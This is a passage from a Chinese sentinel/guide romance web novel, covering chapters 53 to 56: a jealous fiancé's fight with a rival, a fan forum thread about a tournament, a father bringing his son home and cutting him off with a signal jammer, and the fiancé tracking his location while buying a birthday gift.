又隐隐透露着点莫名的剑拔弩张的氛围。 易谌往前迈了一小步,类似于保护者的姿态,将黎珞言护至了身后。 黎珞言侧头看了他一眼,悄悄用小拇指勾了勾他的手指。易谌冷冽的神情微松,心里像是被根羽毛轻轻挠了下,有种说不出的酥麻感。 “又见面了。”温暻的视线扫过他们的小动作,脸上挂着温柔笑容,一副要叙旧的平和模样。 黎珞言歪了歪头。嗯?不打架吗? 温暻这话是对着易谌说的,易谌没有回应,黑眸眯了眯,冷淡地望着他。 “原来你就是黎珞言的未婚夫,”温暻语气温和,弯眼时散发着一种让人拒绝不了的亲和力,朝他伸出手,“我们之前见过的,还记得吗?” 易谌对他的印象不深,仅有的印象便是这人在演讲台上发表的演讲。他是真的不记得什么时候和这人私下见过了。 他神情冷淡,看都没看温暻伸出的手一眼,语气平淡:“不记得了。” 这样生硬干脆的拒绝实在很能让人尴尬,但温暻只是笑了一下,没有任何生气的迹象,若无其事地把手往旁边移了移,朝向了黎珞言:“我们也好久不见了。” 黎珞言歪了下头,便要伸出手和他握住,嘴上慢吞吞地说:“上次见过的……温暻哥你忘了吗?你还用故意用藤蔓勒我……” 即将握上的时候,易谌却突然伸手拦截,抢先一步握住了温暻的手,一触即离。松手后他就顺势抓住了黎珞言的手,手指微动,改为和他十指相扣的动作。 温暻的眸轻轻眯了下,眼底的笑有些冷了下来,似乎是有些不解:“嗯?怎么了吗?” 黎珞言又跟着侧头看向易谌,眼睛在无声地问,怎么了吗? 他的手被易谌抓得很紧,手指间被强行卡入另一个人的手指,让他产生一种说不上来的感觉……就好像,站在他身边的这个人,在一点一点进入他的生活一样。 好奇怪,但是他又并不讨厌这种感觉。 易谌表情依旧冷淡,黑眸沉沉,盯着人时像一条蓄势待发的毒蛇,随时准备着将那些觊觎自己宝物的人的脖颈咬断。语调平平:“抱歉,我不太能够接受别人和我的未婚夫有肢体接触。” 温暻笑了笑,仿佛是理解了:“原来是这样,那应该我说抱歉才对。之前几年一直是我在给他做疏导,都习惯了这些身体接触了,一时忘记他突然多出了一个未婚夫……实在是不好意思。” “不过你们感情这么深了吗?我还以为这种系统纯粹按照匹配度分配的伴侣,现在大多数人都不太能接受呢。我没记错的话,你们才认识不到一个月吧,看来匹配度确实挺重要的。” 易谌抬眸看他。这人仅仅三言两语,就将他和黎珞言相处中产生的感情简简单单地归结于了高匹配度的作用,还不着痕迹地踩了他和黎珞言认识的时间短,不如他们长年的疏导、相处来得真实可靠。 这位看起来光风霁月的首席心底对他满满的恶意都快溢出来了,偏脸上还始终挂着如沐春风的笑容,仿佛只是再正常不过的对话。 易谌哂笑了声。恐怕温暻看到匹配结果的时候,盯着他和黎珞言挂在第一96%的匹配度,嫉妒得都快死了吧。在这跟他装什么呢? 他没什么情绪起伏,淡声道:“那确实比低匹配度好。” 温暻弯着眸子,明媚的光打在他的金发上,折射出粼粼碎光,显得清朗又温和:“你好像对匹配度很自信?” “你不会是觉得匹配度高就代表了一切吧。” 易谌的左手张合了下,无意识地握了握空气。几分钟前黎珞言突然松开了他的手,现在已经没有站在他身边了,同时消失的还有那个有着蓝色挑染的青年——他听见黎珞言喊他哥。 他是看着黎珞言和那人离开的,只不过始终沉默着,没有出声阻止。 他们已经订婚了,他和黎珞言的关系不是别人可以插足的,他应该放心才对……况且他们也不可能寸步不离地一直待在一起……他应该给对方更多的自由空间,任何人被一个还没有名分的人时刻管着都会感到反感的,他不能引起黎珞言的反感…… 他也不可能时时刻刻盯着黎珞言的,他们只是未婚夫夫的关系,又不是…… 易谌的五指收紧了,握成了拳,手臂上青筋突起,曾经打黑拳的经历让他的身体十分结实,看上去力量感很足,很有威慑力。 但他的面色却始终没什么变化,仿佛温暻说的每一个字都像空气一样飘走了,没对他造成任何影响。 实际上,他并不像传统意义上的向导,温和耐心、具有很强的亲和力、能够敏锐察觉到其他人的心思变化并及时给予疏导和抚慰…… 他像一条领地意识极强的毒蛇,将任何沾染到自己气味的生物或是物品纳入自己的领域当中,而对于觊觎自己领地里宝物的人…… 他的视线扫过温暻的脖子,悄无声息斟酌着能否一次性折断他的脖子。这人话太多了,只要杀了他,他就能去找黎珞言了。 他已经有十分钟五十三秒没看见黎珞言了。他好想他。 温暻不动声色往后退了一步,易谌的眼神太过阴冷,简直像是捕猎时候的大型冷血动物的眼睛,让他忍不住泛起一种强烈的不适感,甚至有些毛骨悚然。 让黎珞言和这种人在一起,他怎么可能安然接受? “你为什么不看一看自己呢?”温暻叹了口气,似乎是在为他们着想,他的话不再像起初那样绵里藏针,而是隐隐出现夹枪带棒的意思了,“你真的觉得他和你在一起是好的选择吗?” 易谌完全能听出他的言外之意,话里话外无非就是说他是从下城区来的,身份和黎珞言并不相配。 他用了二十年时间从鱼龙混杂的下城区爬了上来,双脚踩在了上城区的土地上。但原来在他摸爬滚打的那段日子中,下城区已经成为了他生命里的一个肮脏又无法抹去的烙印。 任何人都可以拿他的出身来踩他一脚。 “好的选择?” 易谌想起黎珞言弯起的绿眸,黎珞言看人时总是很专注很安静,像是在认真观察人类行为的小动物。 说是小动物,但其实他从来没有见过这么漂亮又安静的动物,下城区的一切都是疯狂而阴暗的,充斥着掠夺、捕食与竞争,这是只有华贵又富裕的上城区才能养出来的——和他想象中的一样美好。 易谌不想再和温暻废话了。他迫不及待要去找到黎珞言,然后用力抓住他的手,确认他时时刻刻在自己身边,确认他的存在。 垂至身侧握成拳的手无声无息地抬起,接着用力挥去,直冲对方面门。 温暻完全没预料到他会突然动手,来不及躲闪,生生受了这一拳。 一股血腥味瞬间充斥着整个呼吸道,温暻抬手,用手背擦拭唇上的鲜血,脸上的笑消失得无影无踪。 作为白塔首屈一指的治愈型向导,他鲜少和人打架,易谌这种一言不合就动手的行为完完全全打乱了他的节奏。 温暻被密不透风的攻击逼得不得不出手攻击,将自己多年的涵养都抛掷脑后了,从齿缝中憋出两个冷冷的字眼:“疯子。” 易谌眉头微挑,语调讽刺:“你们上等人骂人真有意思。” 易谌看着这张脸有些厌烦,脑子里回想起他方才的话语,于是下手时照着他的脸多挥了好几拳。 ……温暻哥? 黎珞言怎么有这么多哥哥? 明明只需要有他一个哥哥就够了。 * “哥?”黎珞言还记得自己和尹祁青目前敌对的身份,他往后撤了一大步,和尹祁青保持着一个敌对队长交锋时会有的安全距离。 尹祁青忍不住笑了:“我又不是来找你打架的。” 他从口袋里拿出腕表:“我来把这个还给你。” 黎珞言小声道:“果然是这样。” 尹惟猜得没错,就是岑洺精神体的群体致幻效果将他们迷晕了,接着就偷走了他们的东西。 黎珞言伸出手要接。 尹祁青低眸注意到他的手腕,上面盘着一只沉睡的黑蛇,以及一个腕表。他状似不经意道:“你什么时候开始带手镯这种装饰物了?我记得你之前不喜欢带。” 黎珞言有问有答:“是易谌的精神体。” 尹祁青方才还摊开的手一瞬间闭拢了,黎珞言伸出的手只摸到了他闭合的手指。 黎珞言:“嗯?”不是要给他吗? 尹祁青保持着这个递物的姿势,只不过手指合拢了,温声问:“那你手上的腕表呢?” 黎珞言慢吞吞说话:“也是易谌的。” 他轻轻扣了扣尹祁青的手指,想要拿回自己的腕表。 尹祁青有些无奈,又重新摊开了手掌,让他拿走腕表:“你干嘛把别人的东西戴在自己身上啊?” “可是易谌不是别人啊。”黎珞言犹豫地看着自己左手腕上的腕表,想了想,没有换回去,而是将自己失而复得的腕表塞进了外套口袋里,准备一会儿给易谌戴上。 他往口袋里揣腕表的时候,突然想起来,这件外套也是易谌的。 黎珞言动作犹犹豫豫的,说话倒是没有半点犹豫,几乎是未经思考就说出来的,纠正着尹祁青的说法:“他是我的未婚夫。哥不是知道吗?” 尹祁青不着痕迹呼出一口气,再开口时,语气一如既往地沉稳平和:“哥知道。” 他问:“你现在在做最后那个收集计分器的任务吗?” 黎珞言点点头。 尹祁青的手放在口袋里,似乎捏着什么,垂眸看着地上,没有看着黎珞言:“你的生日快到了,哥送你一个礼物好不好?” 黎珞言有点懵:“什么礼物?” 尹祁青示意他把手伸出来,黎珞言依言伸出了左手,好奇地低头盯着。 尹祁青紧紧捏着手里的东西,黎珞言没有透视眼,再好的视力也看不见他手上的东西是什么。 他抓着黎珞言骨节分明的手指,似乎是由于紧张,停顿了好一会儿,才将手里的物什套上了黎珞言的无名指。 黎珞言动了动手指,他的无名指上赫然戴着一枚素戒。他歪了下头,安静地盯着那枚戒指。 尹祁青清楚他并不知道无名指戒指的含义,也并不准备开口解释。他只是笑了笑,温声道:“这是我们队的计分器,提前祝你生日快乐。” 黎珞言在戒指点了点,确认这确实是一个计分器之后,迅速就被这个逻辑带过去了。他没再管手上的戒指,垂下了手:“谢谢哥。” “不过哥来找我就是为了给我这两样东西吗?” 他奇怪地看着尹祁青。他们现在是敌对关系,按理来说,尹祁青不应该帮他才对吧。 尹祁青像小时候一样轻轻揉了揉他头顶的黑发,一本正经道:“还为了确定你的安全。” “好了,我们回去吧。” 黎珞言轻轻挠了挠脸颊,想不明白就不再想了,摸了摸自己口袋里的腕表,便和尹祁青一起往原来的地方走了。 回去的时候,温暻已经不在场了,易谌沉默地用纯净水冲着手。他一听见脚步声,就抬起了头,看了过去。 尹祁青和黎珞言道了别。 黎珞言朝着易谌走了过去,把外套口袋里的腕表拿了出来,递给易谌,完全没有问温暻怎么离开了之类的话。 对于他没有提无关人士的名字这事,易谌莫名感到几分诡异的满足感,现在只有他和黎珞言在场了。而且他会戴上黎珞言的腕表,而黎珞言带着他的腕表,他们会沾染上彼此的气息。 易谌的脸保持着高冷的紧绷模样,但心里却被升起的满足感一遍遍填满,直到看见黎珞言左手无名指上多出来的一枚素戒,他心里燃起的火焰仿佛被一盆冰凉刺骨的冷水迎面浇下,刹那间变成了一堆灰烬。 易谌垂眸紧紧盯着那枚素戒,用力抓着他的手指,一双眸子黑得彻底,透不进一点光,嗓音沙哑,仿佛在压抑着某种情绪:“这是什么?” 第 54 章 联赛阶段赛结束 黎珞言看着自己手上多出来的那枚戒指, 易谌的手指按在那枚戒指上,指尖用力得泛白。 易谌这样摁着,戒指硌得黎珞言手指都有点疼了。 黎珞言歪了下头, 反手将易谌的手抓在手里, 疑惑地问:“怎么了吗?” 易谌抬起眸, 黑沉的眸子望着他的眼睛,似乎是在寻求一个肯定的答案:“你是我的未婚夫对吗?” 黎珞言肯定地点点头。 易谌手动了动,改为和他十指相扣的动作。 他似乎很喜欢这个牵手的动作,每一根手指都和对方的手指接触,没有缝隙地贴合,这极大程度地满足了他的占有欲和掌控欲,让他能够时刻感受到黎珞言实实在在是待在他身边的。 唯一的缺点就是, 黎珞言无名指上突然多出来的那枚戒指有点硌手, 同时也让他的心情无比烦躁。 和别的男人出去了一趟,回来之后左手无名指就多了一枚戒指。什么哥哥?他看对方想做的绝对不是哥哥吧。 易谌一瞬间想到不少乱七八糟、趁虚而入、小三上位的真实例子, 咬紧了牙,脸上肌肉紧绷。 黎珞言看出他似乎兴致不高,猜不出他在想什么,但还是补充了一句:“这个是他们队的计分器。” 易谌微愣, “哦”了一声, 即便这戒指戴着的位置如此不合时宜、令人遐想, 他也不该胡乱揣测。他用正常的语调问:“你赢来的吗?” 黎珞言坦荡地说:“不是啊, 哥说是送我的生日礼物。这一场比赛的排名不影响最后结果,可能哥就是因为这个原因给我的吧。” 易谌方才有些转霁的脸色立马又沉下去。他深呼吸了下, 转过身去,留给他一个背影,松开了黎珞言的手, 故作平静地淡声道:“这样啊。” 但背对着黎珞言的那张脸沉得快要滴水了。 他低头盯着木头桌子,眯着眼,努力调整自己的负面情绪。他已经和黎珞言是订婚的关系了,何必在意一些无关紧要的人……戒指?黎珞言确实戴了戒指,还是左手无名指,但是那代表不了什么……他和笨蛋计较什么呢?说不定黎珞言根本不知道戴戒指是什么意思…… 他脑子被这些胡思乱想塞满,一个劲地努力说服自己,突然间,牙齿一阵莫名其妙的疼痛,嘴也产生了种似乎被人使劲掰开的酸软感。 这么多年来,他的精神体一向都是乖乖盘在自己手腕上的,以至于他忘记了自在进入联赛后,自己的精神体始终是盘在黎珞言腕上的,没有第一时间联想到与精神体有关。 过了会儿他扭过头去,看见忙碌但不知道在忙什么的黎珞言。 黎珞言用手使劲掰着黑蛇的牙,不让它闭上嘴巴,表情严肃又认真,简直像是在做正经事情。 易谌这下知道自己为什么突然牙疼了,刚才的想法瞬间烟消云散,说不上来自己现在是什么心情。他按了按额角,无奈居多:“你在做什么?” 黎珞言抬眸看他一眼,然后又低头看一眼小蛇,接着又抬头。他手上一直没松力,让蛇的嘴保持着一个大打开的姿势。 嘴上告状:“它咬我。” 易谌斩钉截铁,强调:“它不会咬你的。” “可是它刚刚嘴张很大,要咬我的手。” 黑蛇的牙被掰得酸软极了,它忍不住想要挣扎,然而黎珞言对于蛇的经验并多,觉得它是又要咬自己了,手上力气便大了几分。 易谌倒吸一口冷气:“嘶。” 黎珞言眨眨眼睛,反应过来精神体和主人在一定程度上共感:“我弄疼你了吗?” 他慢半拍地松了手,黑蛇终于能够闭上嘴了,但好了伤疤忘了疼,下一秒就把近在咫尺的手指衔入了口中,时刻小心地不让自己的尖牙触到他的手指。 真的不咬他欸。 黎珞言手指动了动,指尖一不小心戳到了黑蛇的口腔内壁,修整得干净的指甲轻轻划过内壁的软肉。 易谌突然伸手把他的手腕扼住,带着他把手撤了出来。 黑蛇闭上嘴,蛇信子舔舐过他的掌心,带着微湿的痒意。 黎珞言看着自己被易谌握住的那只手,两根手指覆上一层水光。他弯了弯自己这两根手指,然后忍不住弯起眼睛,看着易谌:“你的口水。” 易谌仔仔细细给他擦干净了,声音冷淡没有起伏:“不是我的,是它的。” * 感染者混进联赛这一事件可大可小,但不可否认的是,联邦政府内部有星盗人员混入这个事实。 在联赛这一阶段赛结束后,联邦决定进行一次彻查,避免联邦军校和白塔中也有感染者混入,威胁联邦新兴力量的安全。 联邦军校和白塔皆宣布了暂时停课的消息,返校日未定。 联赛的下一阶段赛开启时间也往后延期。 哨兵们还没来得及讨论阶段赛的结果,联邦军校就宣布放假了,于是这段时间论坛热闹得出奇,发帖讨论什么的都有,尤其是对于比赛结果。 ——主题:【连续两次第一,是实力还是运气?】 1L:【这两场阶段赛代表不了什么吧,我感觉大部分人都没认真。】 2L:【开始前就说了阶段排名不代表最终排名,其实我感觉绝大多数人都把实力留在最后一场阶段赛了。】 3L:【绝大多数人?别挽尊了,有三分之一的都是纯菜好吗】 4L:【反正黎队连续两次第一,绝对是有实力的。】 5L:【实力在哪儿?我怎么没看见?仅梨粉可见的实力?】 6L:【谈恋爱剧情占比太多了,我要退订退订TD】 7L:【?】 8L:【酸了直说】 9L:【下一阶段赛的规则说了吗?】 10L:【联赛一般都会到污染区深处去的,说实话前两场太小儿科应该是让大家试试水,互相了解一下的】 …… 100L:【反正我看得很爽,lly就这样动动手指,一群人就吻上来了;动动拳脚,一群人就倒地上了】 101L:【万人迷小狮叽的含金量】 102L:【黎队拿什么输?】 103L:【能不能不要再萌塑接近一米九的大帅哥了!!!高强度逛论坛的我还以为lly是软萌会撒娇的小哨兵呢!直到之前在学校见到一次】 【你们管身高腿长、日常冷脸的大帅哥叫小狮叽做什么啊?!!】 104L:【求偶遇黎队教程】 105L:【至今也没几个敢上去搭话的,五官锋利得逼人不说,气场强得快冲天了,又苏又帅】 106L:【可是直播里很萌,讲话慢吞吞的像人机,还会眨眼睛撒娇……萌得我[捂胸口]】 107L:【谁懂黎队顶着一张帅得超过的脸这样笑啊!![黎珞言对着镜头弯眼笑截图.jpg]】 108L:【被摔地上就老实了】 109L:【不行了,我想起联赛里让黎队杀了他的那个兄弟,我以为深柜只是说说而已,原来你们真想搞哨哨恋啊】 110L:【这就哨哨恋了?黎队明显就是为了让他走得轻松,抹脖子的动作完全不拖泥带水。都这么体贴温柔了还有什么好说的】 111L:【我看联赛里好几个人都暗戳戳地在发箭头】 112L:【我也看出来了。】 113L:【我也一直以为大家只是口嗨慕强,没想到有些人是真的在梦,好可怕TT】 …… 210L:【?怎么歪楼了?】 211L:【最近这段时间肯定是偶遇不到lly了,等联赛的下一阶段赛开始,或者等开学返校】 212L:【从没如此渴望过上学……快开学吧[保佑]】 * 黎珞言躺在沙发上,嘴里叼了根棒棒糖,被牙齿咬得上下一摇一摇的。 “今天怎么没出门?”尹惟把电视打开了,随口问道。 自从他们从联赛里出来之后,黎珞言几乎每天都要出门,在外面待上一整天,天黑了之后才回来,似乎是在约会。 “唔,”黎珞言把棒棒糖拿在手上,回道,“易谌说他今天有点事情,应该是很重要的事……嗯?” 他拿在手里的棒棒糖突然被另一个人抽走了。黎珞言愣了一下,循着望过去。 奚元垂眸端详了下这根棒棒糖,手一撑直接从沙发背面翻了过来,坐在了黎珞言的身边。 黎珞言的手在空中跃跃欲试,试图拿回来,漂亮的绿眼睛望着他:“可以还给我吗?” 他的语气听起来有点可怜,奚元挑了下眉,头一伸咬住了糖果,舌头一卷就含住了:“味道还不错。” 黎珞言痛失零食,目不转睛盯着奚元手上的棒棒糖,视线跟着移动。 奚元目标得逞,得意地笑着。 “给。”尹惟拉开抽屉,在里面拿出两只棒棒糖,举到黎珞言面前,让他选一个。 两根棒棒糖口味不同。 黎珞言仔细斟酌后拿走了一根,朝着尹惟弯眼笑起来:“给你留一个更好吃的。” 尹惟也笑了声:“我谢谢你啊。” 过了会儿,奚元似乎是随口提起:“你那个未婚夫,今天没缠着你了?” “你用词好奇怪……”黎珞言稍微拧了下眉,咬着糖,解释道:“他今天有重要的事。” 奚元勾了下唇,语调有点怪怪的:“我还以为他要时时刻刻和你待在一起,没你陪着就活不下去了呢。” 黎珞言意识到他奇怪的语气,很直接地问道:“你怎么了?说话这么怪。” “没怎么啊,”奚元把嘴里的糖咬碎,坚硬的糖果碎片划过口腔,泛起点可以忽略不计的疼痛,“就是觉得你为了他有点疏远我们了。” 黎珞言弯起眼睛,绿色的眸里只倒映着他一个人的脸:“怎么会?” “那你喜不喜欢我。” 奚元问出这句话后,就已经用所有的勇气,目光有些躲闪,咬着没有糖的塑料棍子转移自己的注意力,但耳朵又早就竖了起来,仔细去听黎珞言的回应。 黎珞言毫不犹豫:“喜欢啊。” 奚元猛地抬起头,激动得差点咬到舌头。他没听错吧,绝对没听错吧,黎珞言亲口说喜欢他。 喜,欢,他。 黎珞言却是掰着手指细数起来:“不光是你,尹惟、尹祁青……我都很喜欢啊。” 奚元脸上的神情肉眼可见一滞。 尹惟在旁边忍不住笑出一声,见他俩看过来,她挑了黎珞言说的最好吃的口味,快速拆开后递给黎珞言,弯眸道:“再给你吃一个。” 黎珞言笑眯眯接过。 奚元咬牙切齿地说:“我有时候真想抽死你。” 黎珞言用膝盖报复性地撞了他一下,满脸状况外:“我又怎么了?” “叮咚——” 忽然,门铃响了。 他们对视一眼,用石头剪刀布,公平决定出了谁去开门。 尹惟输了,无奈叹了口气,起身去开门。 奚元呵呵一笑,散发着烦躁不好惹的气场:“千万别是你那个未婚夫。” 黎珞言耐心解释:“他今天有事要忙,应该不会是他。而且你对我的未婚夫到底有什么意见啊?” 尹惟把门打开,看见来人后,动作一顿,目露惊讶:“执政官阁下?” 第 55 章 “跟我回去。”…… 听见这个称呼, 奚元和黎珞言的动作同时停住了,侧头看过去。 黎永穿着极其正式,似乎是刚从议会出来就直接来了这里。 他站得很直, 整个人像一柄象征肃杀的利剑, 英俊眉眼间有一股威严冷肃之意, 身着剪裁一丝不苟的服装,袖口镶嵌着极精细的金线,举手投足间有股上位者的气势。 他朝着尹惟点了点头:“小言在这儿是吗?” 尹惟觉得他有点明知故问了,黎珞言在这里住了几年了,他不可能现在才知道吧。 但她面上不显,脸上挂着很得体的笑,保持着礼貌的姿态:“是这样……黎叔叔您有什么事找他吗?” 她和对方接触的并不多, 印象大多也是关于他在政治上的建树, 这些年来与梨子相关的印象更是几近于无,因此开门时下意识叫了职位上的称呼, 但很快她就意识这点,迅速改回了称呼。 不过奚元倒是之前和她吐槽过,说感觉执政官不太喜欢他,并且还为此唉声叹气了许久。 尹惟对这点持保留态度, 但细想又觉得有点道理, 毕竟奚元表现得完全就是个混不吝的刺头, 还天天拉着黎珞言不知道在哪儿鬼混……但她又实在觉得执政官并不关心梨子, 至少梨子几年前的夜里搬到这里来住了,执政官却一次也没有问过这件事。 尹惟始终站在门前, 没有让开的意思,偏偏表现得很有礼貌,不像是故意为之。 黎永怎么可能看不出她是不想让自己进去, 他微微敛眸:“是有事,我要接他回去了。” 尹惟眼睛睁大了些,一时没有说话。 “这段时间辛苦你们的照顾了,”黎永朝尹惟颔首,“正好联邦军校放假了,我就准备让他住回家里。” 什么这段时间?尹惟心说,几年也能说是这段时间吗? 黎珞言在沙发上也听见了,他垂下眸,咔嚓一声把糖咬碎了,齿间衔着塑料棍子,不经意间就把上端咬瘪了。 奚元五指攥紧了沙发,当即道:“不行!” 他音量不低,但凡长了耳朵的人都能听见。 黎珞言猛然抬起头,迅速捂住他的嘴巴,朝着他眨了好几下眼睛。 尹惟目移:“嘶。” 黎永轻轻皱了下眉,如果执法队成员在这儿就会知道他这是有些不悦的表现了,但目前还是隐而不发的状态。 尹惟把门挡着,他看不见里面的情况,也没有失风度地往里看,只是平静地开口:“小言,你怎么想的?” 黎珞言死死捂着奚元的嘴巴,用眼神认真地告诉他不要再说话了,突然被点到名,他确认奚元老实了之后,便松开了手,张了张嘴,准备答话。 “他不回去。” 黎珞言还没说话,奚元就抢先一步脱口而出。 他张开的嘴重新闭上,立马扭头看向奚元,奚元已经站起身走到门口了。 “黎叔叔,”奚元站直了,勉强做出一副家长眼里好学生的模样,但还是有点不伦不类的。扬起抹笑,“黎珞言不回去,我也不回去,我们都在这里,您放心好了。” 黎珞言也慢吞吞挪到了门口,视线扫过据理力争的奚元,又扫过他父亲。 黎永在看见黎珞言之后,眼睛就一直盯着他,眸光平静,等着他怎么说。 黎珞言看着他,说话慢慢的,但很坚定:“我不回去。” 黎永看向他们三个。 他发现黎珞言还真是认识了几个好朋友,无论以前还是现在,不管是什么事他们都能统一战线。 但联赛里出现感染者这件事他必须要重视,不把黎珞言放在眼皮底下,他很难放心地去处理政务。 黎永看向奚元:“来之前我和你父母通过气了,他们大概十分钟之后来接你回去。” 奚元半信半疑地看了眼终端,果不其然看到家里人给他发的消息,催命似的催他回去。 他按灭了屏幕,撇了下嘴。他真服了,怎么还能告状?? 黎永依然冷着一张脸,通知般的语气:“最近是特殊时期,你们最好都不要到处乱跑。等联邦对感染者的调查结果出来了之后,你们想怎么待在一起都行。” 奚元咬紧了牙关,烦躁得不行,身侧握紧的拳头却突然被另一只手覆上,他一怔,侧头和黎珞言对视了一眼后,别过头去,闭了闭眼,缓和自己的情绪。 黎珞言安抚了下奚元后,就朝着黎永点点头,很平静地接受了他的安排:“那我回去好了。” 他的情绪看起来还没有奚元的情绪起伏大,十分淡然、平静地接受了这件事。 奚元紧握着拳,指甲几乎要嵌入掌心之中,留下几个深深的红印。这一幅画面莫名唤起了他之前的记忆。 十年前,黎珞言就是这样被他父亲从自己身边这样带走的。 他以为自己从医疗舱里出来之后还能见到黎珞言,但事实是黎珞言被关了禁闭,他只能从背面的墙爬上去,隔着厚重的窗户和黎珞言讲话。 他忍不住去想,这会不会又是一次名为保护实为软禁的历史重演,他会不会又有很长一段时间不能触碰到他了……这种想法让他的眼眶有些泛红,牙被咬得咔嚓作响。 “那我回去了。”黎珞言和尹惟挥了挥手,又看向低头盯着地板的奚元,他拽了拽他,表示自己要走了。 奚元忽然伸手抓住他,往自己的方向使劲一扯,接着紧紧抱住了他。他头往下埋,不让别人看见自己此刻的表情,脑袋靠在黎珞言的肩上,闷声道:“不要走……” 黎珞言的脖子被他的头发扫得痒痒的,他拍拍奚元的背,弯起眼:“我又不是不回来了。” 过了会儿,他见奚元的情绪好一点了,便轻轻推开了他,再次和他们道别。 直到再看不见黎珞言和执政官的身影了,奚元失魂落魄地往里走,直挺挺往沙发上一倒。 尹惟抽了几张纸,塞给把脸深深埋在手臂里的奚元,笑眯眯地说:“多大的人了还哭鼻子,等会儿我就拍照发给梨子看看。” 奚元立马反驳道:“没哭,别造谣。” 尹惟不置可否,唇角漾着点笑,电视机的声音响着,成为了某种背景音。她低下头给黎珞言发消息:【到家之后别忘记报平安哦[墨镜装酷小狗.jpg]】 * 【嗯嗯!】黎珞言回道。 黎永看了眼看终端的黎珞言,似乎只是随口一问:“在回朋友的消息吗?” 黎珞言冷淡“嗯”了一声。 很快走到飞行器面前,黎永示意他上去。黎珞言沉默几秒,手摸到外套里的圆形小球。 几秒后,黑色烟雾从一个点爆炸开,形成一片结界,让人看不清任何事物。这是前几天易谌塞到黎珞言身上的,没想到此刻派上了用场。 然而好一会儿后,烟雾散尽了,黎珞言却没有成功跑掉,他的衣服被执政官一把攥住了,对方抓得很紧,他逃脱不了,只好把嘴巴紧抿起表示自己心情不好,似乎是终于接受现实了。 黎永把他扯上了飞行器,强硬地给他系上安全带,一边语气冷淡地说:“你觉得这东西对哨兵影响更大还是向导?” “而且你觉得你能逃到哪里去?”黎永用指尖点了点自己的右耳耳垂,作为一种提醒。 黎珞言使劲扣着指甲,没有回应。 随着飞行器启动的声音,黎珞言别过头去,一言不发,把安全带松开了。 黎永看出他的极度不配合,冷着脸,指节敲了敲安全带扣:“你想干嘛?” 黎珞言垂下眸,不理他。 在黎永的记忆里,黎珞言大多数时候都是一个很听话很乖的小孩,但年龄越长,越发叛逆了。 他按了按额角,侧过身耐心地给黎珞言再一次系上安全带,系完后没有立马坐直身子,而是从黎珞言外套里抽出了终端,随手扔到了后座上。 黎珞言没来得及阻止他,迅速往后看去,他看着自己的终端被摔在了后座座椅上,确认这个距离自己拿不到了,于是转回头,安静地看向窗外,一眼也没有投向黎永。 飞行器启动了,飞到了半空中,平稳地驶向黎珞言近六年没回过的那个地方。 * 珠宝店内。 店员戴着白手套,用镊子取出三块翡翠裸石,小心地平放在黑色丝绒上 三块绿色翡翠色泽不同,易谌垂眸仔细看着。他不像专业人士那样有经验,但他很认真地一一看过,最终敲定了最左边的一块。 翡翠色泽明亮,薄绿里浮着光,像截住了一泓早春的溪水,灯光下,水色仿佛在其间流动。 即便是他这样不懂翡翠的人,也能看懂这块翡翠品质上乘。 “这个,镶成耳钉。”易谌点了点那块翡翠,淡声道。 “好的,先生。”店员应了声,将他指定的那块裸石仔细收好。 这人上午就来了,挑选了许久,要求不仅多而且繁琐,他本来以为遇上个难缠的客人,这单生意也成不了了,没想到成交得这么干脆,这人甚至连价钱都没问过。 店员包好后,把打印出来的单子推到易谌面前,试探性地问道:“按照您的要求,这款定制价是三百七十二万星币,工期是十天左右,到时候会给您打电话。您看还有什么疑问吗?” 易谌确认要求无误之后,道:“没有。” “那您是先付定金,还是一次性付完?” “一次性付完。”易谌拿出终端,准备付钱,虽然比他预估得还要高一点,但好在他也能够负担得起,只要后面再节省一点就行了。 他本身不是个注重物欲的人,每天基本的营养补充靠营养液就没问题,前段时间买的营养液也有盈余,至少不会让他把自己饿死。 在出发前他就经过了充分考虑,觉得自己目前的经济状况完全可以支持他在珠宝店定做一对耳钉送给黎珞言,作为生日礼物。 刚打开终端,易谌就收到了黎珞言一小时前发来的消息:【sos!!】 他神色一凝,看见消息的瞬间,浑身气质立即变了。退出聊天软件,他在后台找到另一个隐秘的页面,指纹解锁后,又输了一长串密码,加上面部识别,页面才显出原貌。 这有点像一个自制的定位界面,清晰的地名排列,还有一个格外突出的红点。 上面的红点没有待在他熟悉的位置,而是停留在了另一个地方。 他和黎珞言分开之后,只有时时刻刻确认位置才能安定的心一瞬间猛地跳动起来。他只不过是一小会儿没看终端,怎么就换了位置,还跑了这么远? 易谌手指覆在那个一动不动的红点上,眉眼微沉,心脏跳得快要从胸腔里跃出来。发生什么事了? “先生?先生。”店员出声打断。 易谌从思绪中抽离出来,干脆利落用终端付了款,原本的一长串数字瞬间变成了两位数,后面还跟着小数点。 付了款后,他就出了店门,盯着那个换了位置的小红点,用系统查找具体位置。 最终查找结果——那里是执政官的居所。 黎珞言回家了? 看到这个结果,易谌不由得拧眉,所以他为什么会给自己发sos这种明显的求救信号? 第 56 章(1k营养液加更) “我…… 黎珞言待在房间里, 房门禁闭着。房间里的布局和他离开之前一模一样,而且没有落灰,仿佛是有人在经常打扫。 他坐在床边上, 薯片袋子打开被放在了床头柜上, 他没吃, 表示自己的骨气。附近似乎是安装了信号屏蔽器,导致黎珞言的终端现在发不出任何信息也收到不了任何信息。 在进房子前,给尹惟发了条报平安的消息,再给易谌发了一个单词之后,他就发现自己什么信息都发不出去了,也不知道这个信号屏蔽器是最近才安上还是早就安装上了。 黎珞言只能玩单机游戏,玩了会儿之后他就感到无聊了, 把终端扔在了一边, 闭上眼睡觉。 给易谌发的那条消息是头脑一热、未经思考就发出去的。他不知道易谌会不会来找他,那样一条简洁、任何信息都没有给出来的消息, 细细一想,说不定易谌完全不知道他在哪儿。 黎珞言翻了个身,用枕头把耳朵捂上,很快就睡着了。 另一个房间里, 黎永通过线上投影又开了个会, 结束之后他额角有些跳, 长舒了一口气, 连轴转处理政务让他显出了几丝疲惫,抬头看着天花板走了好一会儿神。 他突然想知道黎珞言现在在干嘛, 于是起身去了他的房间里,敲了敲门,没有响应, 他便直接开了门。 黑发哨兵正抱着枕头睡得很安静。他仍然保留着一部分小时候的习惯,睡觉的时候手里不抱着点什么就不自在似的。 黎永向来冷峻不近人情的面容稍微柔和了一点,把被子给他往上扯了扯,盖住了他的上半身。 他看了黎珞言好一会儿,准备离开时,手腕却突然被攥住。 黎永转过身,发现黎珞言睁开了眼睛正看着他。 黎永顿了顿,问:“我吵醒你了吗?” 黎珞言摇了摇头,看着他,直白问道:“家里安了信号屏蔽器吗?” 黎永没有马上回复,但却避开了他的视线,显然无声回答了他。 